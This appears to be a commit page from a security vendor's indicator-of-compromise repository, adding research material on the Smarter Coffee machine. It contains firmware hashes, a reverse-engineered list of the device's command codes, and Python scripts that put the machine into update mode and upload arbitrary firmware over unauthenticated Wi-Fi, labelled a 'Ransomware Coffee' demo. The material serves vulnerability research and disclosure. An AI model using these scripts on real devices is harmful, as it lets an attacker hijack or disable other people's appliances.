mirror of
https://github.com/avast/ioc
synced 2024-06-20 22:08:34 +00:00
SmarterCoffee initial commit
This commit is contained in:
parent
fdd9d5d7d5
commit
6dd178181f
Binary file not shown.
Binary file not shown.
BIN
SmarterCoffee/._README.md
Normal file
BIN
SmarterCoffee/._README.md
Normal file
Binary file not shown.
BIN
SmarterCoffee/._commands.txt
Normal file
BIN
SmarterCoffee/._commands.txt
Normal file
Binary file not shown.
Binary file not shown.
Binary file not shown.
6
SmarterCoffee/README.md
Normal file
6
SmarterCoffee/README.md
Normal file
@ -0,0 +1,6 @@
|
|||||||
|
## firmware SHA256 as found in Android application versions
|
||||||
|
|
||||||
|
1eff6702b158b1554284f3ef6eb9d05748f43ba353d60954f21c6f20fd71e6ce binaryfile_coffee.3.1.0.bin
|
||||||
|
650a7bc7a55162988c77df34235c8e87eda9c8e2fcecd72b74c5f69e3edd088c binaryfile_coffee.3.2.1.bin
|
||||||
|
650a7bc7a55162988c77df34235c8e87eda9c8e2fcecd72b74c5f69e3edd088c binaryfile_coffee.3.2.3.bin
|
||||||
|
650a7bc7a55162988c77df34235c8e87eda9c8e2fcecd72b74c5f69e3edd088c binaryfile_coffee.3.2.5.bin
|
31
SmarterCoffee/commands.txt
Normal file
31
SmarterCoffee/commands.txt
Normal file
@ -0,0 +1,31 @@
|
|||||||
|
MD 0x02 - Device time
|
||||||
|
CMD 0x05 - Wifi network
|
||||||
|
CMD 0x07 - Wifi password
|
||||||
|
CMD 0x0B
|
||||||
|
CMD 0x0C - Wifi Join
|
||||||
|
CMD 0x0D - List of visible AP
|
||||||
|
CMD 0x0F - Wifi Leave
|
||||||
|
CMD 0x10 - Reset settings
|
||||||
|
CMD 0x33 - Brew
|
||||||
|
CMD 0x34 - Coffee stop
|
||||||
|
CMD 0x35 - Coffee strength
|
||||||
|
CMD 0x36 - Cups
|
||||||
|
CMD 0x37 - Brew Default
|
||||||
|
CMD 0x38 - Coffee store settings
|
||||||
|
CMD 0x3C - Grinder
|
||||||
|
CMD 0x3E - Hotplate On
|
||||||
|
CMD 0x3F
|
||||||
|
CMD 0x40 - Store Timer
|
||||||
|
CMD 0x41 - Timers
|
||||||
|
CMD 0x43 - Disable Timer
|
||||||
|
CMD 0x46 - Coffee History
|
||||||
|
CMD 0x48 - Coffee Settings
|
||||||
|
CMD 0x4A - Hotplate Off
|
||||||
|
CMD 0x4B - Set Carafe
|
||||||
|
CMD 0x4C - Carafe
|
||||||
|
CMD 0x4E - Set mode
|
||||||
|
CMD 0x4F - Model
|
||||||
|
CMD 0x64 - Device info - used to check firmware version
|
||||||
|
CMD 0x69 - Set Wifi Power?
|
||||||
|
CMD 0x6A - Wifi firmware version
|
||||||
|
CMD 0x6D - Firmware update sta
|
BIN
SmarterCoffee/extras/._requirements.txt
Normal file
BIN
SmarterCoffee/extras/._requirements.txt
Normal file
Binary file not shown.
BIN
SmarterCoffee/extras/._run.py
Normal file
BIN
SmarterCoffee/extras/._run.py
Normal file
Binary file not shown.
BIN
SmarterCoffee/extras/bin/._config.py
Normal file
BIN
SmarterCoffee/extras/bin/._config.py
Normal file
Binary file not shown.
BIN
SmarterCoffee/extras/bin/._easy_smarter.py
Normal file
BIN
SmarterCoffee/extras/bin/._easy_smarter.py
Normal file
Binary file not shown.
38
SmarterCoffee/extras/bin/config.py
Normal file
38
SmarterCoffee/extras/bin/config.py
Normal file
@ -0,0 +1,38 @@
|
|||||||
|
import yaml
|
||||||
|
import os
|
||||||
|
|
||||||
|
class YamlConfig(object):
|
||||||
|
|
||||||
|
def __init__(self, configfile):
|
||||||
|
self.configfile = configfile
|
||||||
|
self.__cfg = None
|
||||||
|
|
||||||
|
|
||||||
|
def __open(self):
|
||||||
|
try:
|
||||||
|
with open(self.configfile, "r") as inp:
|
||||||
|
self.__cfg = yaml.load(inp)
|
||||||
|
return 0
|
||||||
|
except IOError:
|
||||||
|
return 1
|
||||||
|
except yaml.YAMLError,e:
|
||||||
|
print "YAML error" + str(e)
|
||||||
|
return 2
|
||||||
|
|
||||||
|
# get config value as path to it
|
||||||
|
def get(self, path, default=None):
|
||||||
|
|
||||||
|
if not self.__cfg:
|
||||||
|
if self.__open() != 0:
|
||||||
|
assert(False)
|
||||||
|
|
||||||
|
components = path.split('/')
|
||||||
|
r = self.__cfg
|
||||||
|
|
||||||
|
for c in components:
|
||||||
|
if c in r.keys():
|
||||||
|
r = r[c]
|
||||||
|
else:
|
||||||
|
return default
|
||||||
|
return r
|
||||||
|
|
146
SmarterCoffee/extras/bin/easy_smarter.py
Normal file
146
SmarterCoffee/extras/bin/easy_smarter.py
Normal file
@ -0,0 +1,146 @@
|
|||||||
|
#!/usr/bin/python2.7
|
||||||
|
|
||||||
|
import socket,sys,time,logging
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
class easy_smarter():
|
||||||
|
|
||||||
|
|
||||||
|
def __init__(self, ip='192.168.4.1', port = 2081):
|
||||||
|
self.ip = ip
|
||||||
|
self.port = port
|
||||||
|
self.sock = None
|
||||||
|
|
||||||
|
def connect(self):
|
||||||
|
# create an ipv4 (AF_INET) socket object using the tcp protocol (SOCK_STREAM)
|
||||||
|
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
|
||||||
|
try:
|
||||||
|
self.sock.settimeout(3)
|
||||||
|
# connect the client
|
||||||
|
self.sock.connect((self.ip, self.port))
|
||||||
|
self.sock.settimeout(.5) # 5 seconds. Set this after connecting.
|
||||||
|
return True
|
||||||
|
except Exception,e:
|
||||||
|
logging.warning("Could not connect %s" %(str(e)))
|
||||||
|
return False
|
||||||
|
|
||||||
|
def read_data(self):
|
||||||
|
resp = bytearray()
|
||||||
|
timeout = 10
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
response = self.sock.recv(4096)
|
||||||
|
resp.extend(bytearray(response))
|
||||||
|
if resp[len(resp)-1]==0x7E:
|
||||||
|
return resp
|
||||||
|
except socket.timeout as exc:
|
||||||
|
logging.warning('timed out waiting for data')
|
||||||
|
timeout -=1
|
||||||
|
if timeout<=0:
|
||||||
|
return bytearray()
|
||||||
|
|
||||||
|
def send_command(self, indata, waitforresponse = True):
|
||||||
|
self.sock.send(bytearray(indata))
|
||||||
|
if waitforresponse:
|
||||||
|
return self.read_data()
|
||||||
|
else:
|
||||||
|
return bytearray()
|
||||||
|
|
||||||
|
def upload_firmware(self, filename, display = sys.stdout.write):
|
||||||
|
fw = None
|
||||||
|
total =0
|
||||||
|
try:
|
||||||
|
# try to open firmware file
|
||||||
|
fw = open(filename,"rb")
|
||||||
|
fw.seek(0,2)
|
||||||
|
total = fw.tell()/256
|
||||||
|
if (fw.tell()%256)>0:
|
||||||
|
total+=1
|
||||||
|
fw.seek(0)
|
||||||
|
except Exception, e:
|
||||||
|
logging.error("Could not load firmware from file %s ", str(e))
|
||||||
|
return False
|
||||||
|
|
||||||
|
display ("> Sending lead-in packet\n")
|
||||||
|
self.send_command([0x6E, 0x7E], True)
|
||||||
|
|
||||||
|
crc = 0
|
||||||
|
block =0
|
||||||
|
result=0
|
||||||
|
display ("> Starting update of %d blocks 256 bytes each\n" %(total))
|
||||||
|
# read chunks of 256 bytes and construct a packet
|
||||||
|
while True:
|
||||||
|
retry = 5
|
||||||
|
chunk = bytearray(fw.read(256))
|
||||||
|
if not chunk:
|
||||||
|
break
|
||||||
|
#chunks are always of size of 256
|
||||||
|
chunk.extend( bytearray([0]*(256-len(chunk))) )
|
||||||
|
# now for each chunk compute 'CRC'
|
||||||
|
for i in range(256):
|
||||||
|
crc = (crc + chunk[i]) % 0xFFFFFFFF
|
||||||
|
|
||||||
|
# retry loop
|
||||||
|
while True:
|
||||||
|
size = len(chunk)
|
||||||
|
packet = bytearray()
|
||||||
|
packet.extend(bytearray([0x6f, block+1, (size>>8) & 0xff, (size) & 0xff, 0x7d]))
|
||||||
|
packet.extend(chunk)
|
||||||
|
packet.extend(bytearray([0x7e,0x7e,0x7e]))
|
||||||
|
|
||||||
|
res = self.send_command(packet)
|
||||||
|
|
||||||
|
# respond packet should always end like this
|
||||||
|
result = 0
|
||||||
|
if len(res)==3 and res[2]==0x7E:
|
||||||
|
major = res[0]
|
||||||
|
if major==3:
|
||||||
|
result = res[1]
|
||||||
|
else:
|
||||||
|
result = res[0]<<4 & res[1]
|
||||||
|
|
||||||
|
if result!=1:
|
||||||
|
retry-=1
|
||||||
|
if retry>0:
|
||||||
|
time.sleep(1)
|
||||||
|
continue
|
||||||
|
display("\nError writing page no. %d\n" % (block+1))
|
||||||
|
break
|
||||||
|
#
|
||||||
|
if block%4==0 and result==1:
|
||||||
|
display(".")
|
||||||
|
if result==1:
|
||||||
|
break
|
||||||
|
#sys.stdout.write("sending page %d of %d " %(block+1, total))
|
||||||
|
if result!=1:
|
||||||
|
break
|
||||||
|
block +=1
|
||||||
|
|
||||||
|
print "\n"
|
||||||
|
if result==1:
|
||||||
|
time.sleep(1)
|
||||||
|
# sending CRC and closing block
|
||||||
|
res = self.send_command([0x70, (crc>>24) & 0xFF, (crc>>16) & 0xFF,(crc>>8) & 0xFF, crc & 0xFF, 0x7E], True)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
if len(res)==3 and res[2]==0x7E:
|
||||||
|
major = res[0]
|
||||||
|
if major==3:
|
||||||
|
result = res[1]
|
||||||
|
else:
|
||||||
|
result = res[0]<<4 & res[1]
|
||||||
|
if result==1:
|
||||||
|
display("\nUpdate complete!\n")
|
||||||
|
else:
|
||||||
|
display ("\nError finishing firmware %d.\n" % (result))
|
||||||
|
else:
|
||||||
|
display ("\nError writing firmware %d.\n" %(result))
|
||||||
|
return result
|
||||||
|
|
||||||
|
|
||||||
|
def disconnect(self):
|
||||||
|
self.sock.close()
|
BIN
SmarterCoffee/extras/cfg/._config.yaml
Normal file
BIN
SmarterCoffee/extras/cfg/._config.yaml
Normal file
Binary file not shown.
4
SmarterCoffee/extras/cfg/config.yaml
Normal file
4
SmarterCoffee/extras/cfg/config.yaml
Normal file
@ -0,0 +1,4 @@
|
|||||||
|
coffeemaker:
|
||||||
|
id: "5b"
|
||||||
|
normalssid: "Smarter Coffee"
|
||||||
|
updatessid: "Smarter Coffee Update"
|
BIN
SmarterCoffee/extras/data/._firmware.bin
Normal file
BIN
SmarterCoffee/extras/data/._firmware.bin
Normal file
Binary file not shown.
BIN
SmarterCoffee/extras/data/firmware.bin
Normal file
BIN
SmarterCoffee/extras/data/firmware.bin
Normal file
Binary file not shown.
3
SmarterCoffee/extras/requirements.txt
Normal file
3
SmarterCoffee/extras/requirements.txt
Normal file
@ -0,0 +1,3 @@
|
|||||||
|
progressbar2
|
||||||
|
console-menu
|
||||||
|
pyaml
|
168
SmarterCoffee/extras/run.py
Normal file
168
SmarterCoffee/extras/run.py
Normal file
@ -0,0 +1,168 @@
|
|||||||
|
# Smarter Coffe Maker firmware updater
|
||||||
|
# Brought to you by @thinkcz
|
||||||
|
|
||||||
|
# Import the necessary packages
|
||||||
|
import subprocess
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import site
|
||||||
|
from consolemenu import *
|
||||||
|
from consolemenu.items import *
|
||||||
|
|
||||||
|
cfg = None
|
||||||
|
|
||||||
|
menu = None
|
||||||
|
|
||||||
|
COFFEEMAKERID = "5b" #5b
|
||||||
|
WIFI_INTERFACE = "en0"
|
||||||
|
FIRMWARE = "data/firmware.bin"
|
||||||
|
NORMALSSID = "Smarter Coffee:" + COFFEEMAKERID
|
||||||
|
UPDATESSID = "Smarter Coffee Update:" + COFFEEMAKERID
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
def update_wifi_info(mn):
|
||||||
|
mn.prologue_text = "Actual WiFi connected: [%s]" % (get_current_ssid())
|
||||||
|
|
||||||
|
# needs to be updated according platform (this is OSX implementation)
|
||||||
|
def get_current_ssid():
|
||||||
|
res = subprocess.check_output(['networksetup', '-getairportnetwork', WIFI_INTERFACE]).strip()
|
||||||
|
if res == "" or res == None:
|
||||||
|
return ""
|
||||||
|
else:
|
||||||
|
return res[res.find(':') + 1:].strip()
|
||||||
|
|
||||||
|
# needs to be updated according platform (this is OSX implementation)
|
||||||
|
def change_ssid(ssid):
|
||||||
|
if (get_current_ssid() == ssid):
|
||||||
|
return True
|
||||||
|
res = subprocess.check_output(['networksetup', '-setairportnetwork', WIFI_INTERFACE , ssid]).strip()
|
||||||
|
if res == "" or res == None:
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def change_ssid_tries(ssid, x):
|
||||||
|
sys.stdout.write("Trying to change to the wireless network [ %s ]" % (ssid))
|
||||||
|
for i in range(x):
|
||||||
|
sys.stdout.write(".")
|
||||||
|
if change_ssid(ssid):
|
||||||
|
sys.stdout.write("\n")
|
||||||
|
update_wifi_info(menu)
|
||||||
|
return True
|
||||||
|
sys.stdout.write("\n")
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def stage1():
|
||||||
|
|
||||||
|
if not change_ssid_tries(NORMALSSID, 10):
|
||||||
|
print FAIL + "Can't connect to [ %s ]! Enter to continue" % (NORMALSSID) + ENDC
|
||||||
|
raw_input()
|
||||||
|
return ""
|
||||||
|
|
||||||
|
print "Starting update mode, there will be no return code!"
|
||||||
|
|
||||||
|
es = easy_smarter()
|
||||||
|
for tries in range(10):
|
||||||
|
if es.connect():
|
||||||
|
es.send_command([0x6D, 0x7E])
|
||||||
|
print "Done, check coffee machine and connect to update network, press Enter to continue."
|
||||||
|
es.disconnect()
|
||||||
|
raw_input()
|
||||||
|
return ""
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
print "Could not connect to Coffee maker. Enter to continue"
|
||||||
|
|
||||||
|
raw_input()
|
||||||
|
return ""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
def stage2():
|
||||||
|
if not change_ssid_tries(UPDATESSID, 10):
|
||||||
|
print FAIL + "Can't connect to [ %s ]! Enter to continue" % (UPDATESSID) + ENDC
|
||||||
|
raw_input()
|
||||||
|
return ""
|
||||||
|
|
||||||
|
print "Starting update mode, upload firmware."
|
||||||
|
|
||||||
|
es = easy_smarter()
|
||||||
|
for tries in range(10):
|
||||||
|
if es.connect():
|
||||||
|
es.disconnect()
|
||||||
|
break
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
|
||||||
|
es = easy_smarter()
|
||||||
|
if es.connect():
|
||||||
|
es.upload_firmware(FIRMWARE)
|
||||||
|
print "Done, check coffee machine and re-connect to normal network, press Enter to continue."
|
||||||
|
es.disconnect()
|
||||||
|
else:
|
||||||
|
print "Could not connect to Coffee maker. Enter to continue"
|
||||||
|
raw_input()
|
||||||
|
return ""
|
||||||
|
|
||||||
|
#-------------------------------- main ------------------------------
|
||||||
|
if __name__ == "__main__":
|
||||||
|
# Create the menu
|
||||||
|
menu = ConsoleMenu("Ransomware Coffee", "demo by THiNK of AwesomeBlue")
|
||||||
|
|
||||||
|
# get absoluthe path of script
|
||||||
|
scriptpath = os.path.dirname(os.path.abspath(__file__))
|
||||||
|
# root for imports
|
||||||
|
site.addsitedir(os.path.join(scriptpath, 'bin'))
|
||||||
|
# import
|
||||||
|
from config import *
|
||||||
|
# try to open main config
|
||||||
|
print os.path.join(scriptpath, 'cfg', 'config.yaml')
|
||||||
|
cfg = YamlConfig(os.path.join(scriptpath, 'cfg', 'config.yaml'))
|
||||||
|
|
||||||
|
|
||||||
|
# load config
|
||||||
|
#
|
||||||
|
#
|
||||||
|
#
|
||||||
|
COFFEEMAKERID = cfg.get("coffeemaker/id",COFFEEMAKERID)
|
||||||
|
WIFI_INTERFACE = cfg.get("server/wifiinterface",WIFI_INTERFACE)
|
||||||
|
FIRMWARE = cfg.get("coffeemaker/firmware",FIRMWARE)
|
||||||
|
NORMALSSID = cfg.get("coffeemaker/normalssid", NORMALSSID ) + ":" +COFFEEMAKERID
|
||||||
|
UPDATESSID = cfg.get("coffeemaker/updatessid", UPDATESSID ) + ":" +COFFEEMAKERID
|
||||||
|
|
||||||
|
|
||||||
|
# override config value if file being specified on command line
|
||||||
|
if len(sys.argv)==2:
|
||||||
|
FIRMWARE = sys.argv[1]
|
||||||
|
|
||||||
|
|
||||||
|
update_wifi_info(menu)
|
||||||
|
# Create some items
|
||||||
|
|
||||||
|
|
||||||
|
# A FunctionItem runs a Python function when selected
|
||||||
|
item1 = FunctionItem("Stage: turn maker into update mode", stage1)
|
||||||
|
|
||||||
|
# A CommandItem runs a console command
|
||||||
|
item2 = FunctionItem("Stage: upload firmware", stage2)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
menu.append_item(item1)
|
||||||
|
menu.append_item(item2)
|
||||||
|
|
||||||
|
# get absoluthe path of script
|
||||||
|
scriptpath = os.path.dirname(os.path.abspath(__file__))
|
||||||
|
# root for imports
|
||||||
|
site.addsitedir(os.path.join(scriptpath, 'src'))
|
||||||
|
|
||||||
|
# lazy imports
|
||||||
|
from easy_smarter import *
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
# Finally, we call show to show the menu and allow the user to interact
|
||||||
|
menu.show()
|
BIN
SmarterCoffee/ida/._binaryfile_coffee.bin
Normal file
BIN
SmarterCoffee/ida/._binaryfile_coffee.bin
Normal file
Binary file not shown.
BIN
SmarterCoffee/ida/._binaryfile_coffee1.bin.i64
Normal file
BIN
SmarterCoffee/ida/._binaryfile_coffee1.bin.i64
Normal file
Binary file not shown.
BIN
SmarterCoffee/ida/binaryfile_coffee.bin
Normal file
BIN
SmarterCoffee/ida/binaryfile_coffee.bin
Normal file
Binary file not shown.
BIN
SmarterCoffee/ida/binaryfile_coffee1.bin.i64
Normal file
BIN
SmarterCoffee/ida/binaryfile_coffee1.bin.i64
Normal file
Binary file not shown.
Loading…
Reference in New Issue
Block a user